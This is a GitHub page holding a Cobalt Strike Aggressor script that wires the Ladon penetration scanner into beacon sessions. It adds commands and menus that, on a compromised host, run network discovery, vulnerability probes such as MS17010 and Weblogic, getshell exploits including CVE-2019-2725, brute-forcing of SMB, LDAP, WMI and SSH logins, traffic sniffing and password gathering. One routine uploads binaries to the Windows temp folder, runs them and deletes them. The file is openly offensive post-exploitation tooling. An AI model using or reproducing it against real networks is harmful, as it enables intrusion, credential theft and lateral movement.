-
Notifications
You must be signed in to change notification settings - Fork 191
/
Ladon.cna
273 lines (248 loc) · 11.2 KB
/
Ladon.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
#Ladon 9.1.1 for Cobalt Strike
#author: k8gege
#blog: http://k8gege.org/Ladon
#github: https://github.com/k8gege
#teston: CS 3.x & 4.x
#update: 20211018
#https://mp.weixin.qq.com/s/GQBXCX1fiSLi6gKY3M-JcA
#Some functions are not compatible with CS, please use exe version
#Not Support: webser runps cve2021_26834 cmddll dirlist porttrans porttranc rdpinfo
#Not Support: dvrscan sniffer psexec WinrmExec sshexec ms16135 CVE202140444
#Not Support: isshiro cve20200688 ZeroLogon sameweb urlscan tomcatpoc
#Not Support: nbtscan mysqlscan oraclescan winrmscan vncscan subdomain
#Not Support: webdir tomcatscan rdphijackdvrscan、cmddll]
beacon_command_register(
"Ladon",
"Ladon large network penetration scanner",
"\nUsing: Ladon help\nLadon is a multi-threaded plug-in comprehensive scanning artifact for large-scale network penetration, including port scanning, service identification, network assets, password explosion, high-risk vulnerability detection and one click getshell. It supports batch a / B / C segment scanning and cross network segment scanning, as well as URL, host and domain name list scanning. Version 7.2 has built-in 94 function modules and 18 external modules. Through a variety of protocols and methods, it can quickly obtain the IP, computer name, working group, shared resources, network card address, operating system version, website, subdomain name, middleware, open service, router, database and other information of the target network");
alias Ladon {
if (-exists script_resource("Ladon.exe")) {
if ($2 eq "help"){
blog2($1, "Ladon 9.1.1");
blog2($1, "Usage:");
#blog2($1, "Ladon 1");
blog2($1, "Ladon ip");
blog2($1, "Ladon ip scantype");
#blog2($1, "Ladon noping");
blog2($1, "Ladon noping ip");
blog2($1, "Ladon noping ip scantype");
blog2($1, "ScanType:(Discover/Brute/Encode/Exploit)");
blog2($1, "ip: [ip ip/24 ip/26 ip/8]");
blog2($1, "Discover: [OnlineIP OnlinePC OSscan CiscoScan]");
blog2($1, "Discover: [WebScan WebScan2 SameWeb UrlScan WhatCMS WebDir SubDomain HostIP DomainIP]");
blog2($1, "Vulnerable: [MS17010 SmbGhost WeblogicPoc PhpStudyPoc ActiveMQPoc TomcatPoc Struts2Poc]");
blog2($1, "Vulnerable: [WeblogicExp TomcatExp]");
blog2($1, "Brute-Force: [LdapScan FtpScan WmiScan SmbScan NbtScan LdapScan SmbHashScan WmiHashScan]");
blog2($1, "Discover: [EnumMssql EnumShare EnumIIS EnumProcess GetCmdLine GetInfo GetInfo2 GetPipe GetHtml AdiDnsDump]");
blog2($1, "Encode: [EnHex DeHex EnBase64 DeBase64]");
blog2($1, "Sinffer: [[Sniffer FtpSniffer HttpSniffer HttpDownload FtpDownload]]");
blog2($1, "RemoteExec: [SmbExec AtExec WmiExec SshExec JspShell WebShell]");
blog2($1, "GetInfo: [CheckDoor EnableDotNet GetIP GetHtml WebSer]");
blog2($1, "Elevate: [MS16135 BypassUAC BypassUAC2 GetSystem Runas RunPS SweetPotato BadPotato]");
blog2($1, "Example: Ladon 192.168.1.8/24 OnlinePC");
blog2($1, "Example: Ladon 192.168.1.8/24 *.ini");
blog2($1, "Example: Ladon 192.168.1.8/24 *.ps1");
blog2($1, "Example: Ladon 192.168.1.8/24 *.dll(c#)");
blog2($1, "Example: Ladon 192.168.1.8/24 *.exe(c#)");
return;}else
{bexecute_assembly!($1, script_resource("Ladon.exe"), $2.' '.$3.' '.$4.' '.$5.' '.$6.' '.$7.' '.$8);}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub LadonStart {
blog2($bid,"Ladon ".$3["moudle"]);
bcd!($bid, "c:\\windows\\temp");
brm!($bid,"Ladon.exe");
brm!($bid,"netscan.dll");
#bshell!($bid,"del Ladon**.exe");
if($3["moudle"] !eq "Default"){
brm!($bid, "netscan.dll");
}
bupload!($bid, script_resource("bin\\Ladon".$3['clrver'].".exe"));
bmv!($bid, "Ladon".$3['clrver'].".exe", "Ladon.exe");
if($3["moudle"] !eq "Default"){
bupload!($bid, script_resource("bin\\".$3['moudle']."\\netscan".$3['clrver'].".dll"));
bmv!($bid, "netscan".$3['clrver'].".dll", "netscan.dll");
}
bshell!($bid, "Ladon.exe");
#bpause($1, 10000);
brm!($bid,"Ladon.exe");
if($3["moudle"] !eq "Default"){
brm!($bid, "netscan.dll");
}
}
sub LadonScan {
if (-exists script_resource("Ladon.exe")) {
if ($3['tar'] eq ""){
return;
}else
{
blog2($bid,"Ladon ".$3['tar'].' '.$3['moudle']);
bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['tar'].' '.$3['moudle']);}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub GetInfo {
if (-exists script_resource("Ladon.exe")) {
if ($3['moudle'] eq ""){
return;
}else
{
blog2($bid,"Ladon ".$3['moudle']);
bexecute_assembly!($bid, script_resource("Ladon.exe"),$3['moudle']);}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub Sniffer {
if (-exists script_resource("Ladon.exe")) {
if ($3['tar'] eq ""){
return;
}else
{
blog2($bid,"Ladon ".$3['moudle'].' '.$3['tar']);
bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['moudle'].' '.$3['tar']);}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub HttpDownload {
if (-exists script_resource("Ladon.exe")) {
if ($3['tar'] eq ""){
return;
}else
{
blog2($bid,"Ladon ".$3['moudle'].' '.$3['tar']);
bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['moudle'].' '.$3['tar']);}
}else {berror($1, "Ladon.exe does not exist :(");}
}
sub ms17010 {
if (-exists script_resource("Ladon.exe")) {
if ($2 eq ""){
return;}else
{bexecute_assembly!($bid, script_resource("Ladon.exe"), $3['tar'].' MS17010');}
}else {berror($1, "Ladon.exe does not exist :(");}
}
alias CVE-2019-2725-POC {
if (-exists script_resource("Ladon.exe")) {
if ($2 eq ""){
return;}else
{bexecute_assembly!($1, script_resource("Ladon.exe"), $2.' WeblogicPoc');}
}else {berror($1, "Ladon.exe does not exist :(");}
}
alias CVE-2019-2725-EXP {
if (-exists script_resource("Ladon.exe")) {
if ($2 eq ""){
return;}else
{bexecute_assembly!($1, script_resource("Ladon.exe"), $2.' WeblogicExp');}
}else {berror($1, "Ladon.exe does not exist :(");}
}
popup beacon_bottom {
menu "K8Ladon" {
item("&Ladon 9.1.1", { url_open("https://k8gege.org/Ladon?cs"); });
separator();
item "Discover" {
$bid = $1;
$dialog = dialog("Ladon Discover", %(tar => "",moudle => "OnlinePC",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR or URL or Host or Domain");
drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("OnlinePC","OnlineIP","OSScan", "WebScan", "WhatCMS","CiscoScan","SameWeb","UrlScan","EnumMssql","EnumShare"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "Vulnerable" {
$bid = $1;
$dialog = dialog("Ladon Vulnerable", %(tar => "",moudle => "MS17010",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR");
drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("MS17010","Struts2Poc","WeblogicPoc","PhpStudyPoc","ActiveMQPoc","TomcatPoc"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "Exploit" {
$bid = $1;
$dialog = dialog("Ladon Exploit", %(tar => "",moudle => "MS17010",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR,Payload is Getshell");
drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("WeblogicExp","TomcatExp"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "Sniffer" {
$bid = $1;
$dialog = dialog("Ladon Sniffer", %(tar => "",moudle => "HttpSniffer",clrver => "35",bid => $bid), &Sniffer);
dialog_description($dialog, "Target: Current Host IP");
drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("HttpSniffer","FtpSniffer","Sniffer"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "Brute-Force" {
$bid = $1;
$dialog = dialog("Ladon Brute-Force", %(tar => "",moudle => "LdapScan",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP or CIDR or URL or Host<br>Brute-Force: Upload PassWord File to WorkDir");
drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("LdapScan","SmbScan","SmbHashScan","WmiHashScan","WmiScan","FtpScan","VncScan","MysqlScan","OracleScan","SSHscan","WeblogicScan","TomcatScan","HttpBasicScan","WebDir","SubDomain"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "HttpDownload" {
$bid = $1;
$dialog = dialog("Ladon Download", %(tar => "",moudle => "HttpDownload",clrver => "35",bid => $bid), &HttpDownload);
dialog_description($dialog, "Target: url");
drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("HttpDownload"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "DC/LDAP" {
$bid = $1;
$dialog = dialog("Ladon DC/LDAP", %(tar => "",moudle => "HttpDownload",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: IP");
drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("AdiDnsDump","LdapScan"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "Domain/IP" {
$bid = $1;
$dialog = dialog("Ladon Domain/IP", %(tar => "",moudle => "HttpDownload",clrver => "35",bid => $bid), &LadonScan);
dialog_description($dialog, "Target: Domain or HostName");
drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("HostIP","DomainIP"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "GetInfo" {
$bid = $1;
$dialog = dialog("Ladon GetInfo", %(tar => "",moudle => "GetCmdLine",clrver => "35",bid => $bid), &GetInfo);
dialog_description($dialog, "Get IIS/Process/CmdLine Info");
#drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("EnumIIS","EnumProcess","GetCmdLine","GetInfo","GetInfo2","GetHtml"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
item "PassWord" {
$bid = $1;
$dialog = dialog("Ladon PocScan", %(tar => "",moudle => "EnumIIS",clrver => "35",bid => $bid), &GetInfo);
dialog_description($dialog, "Get PassWord");
#drow_text($dialog, "tar", "Target:");
drow_combobox($dialog, "moudle", "Moudle:", @("EnumIIS"));
#drow_combobox($dialog, "clrver", "Version", @("35", "40"));
drow_checkbox($dialog, 'type', 'noping');
dbutton_action($dialog, "Start");
dialog_show($dialog);
}
}}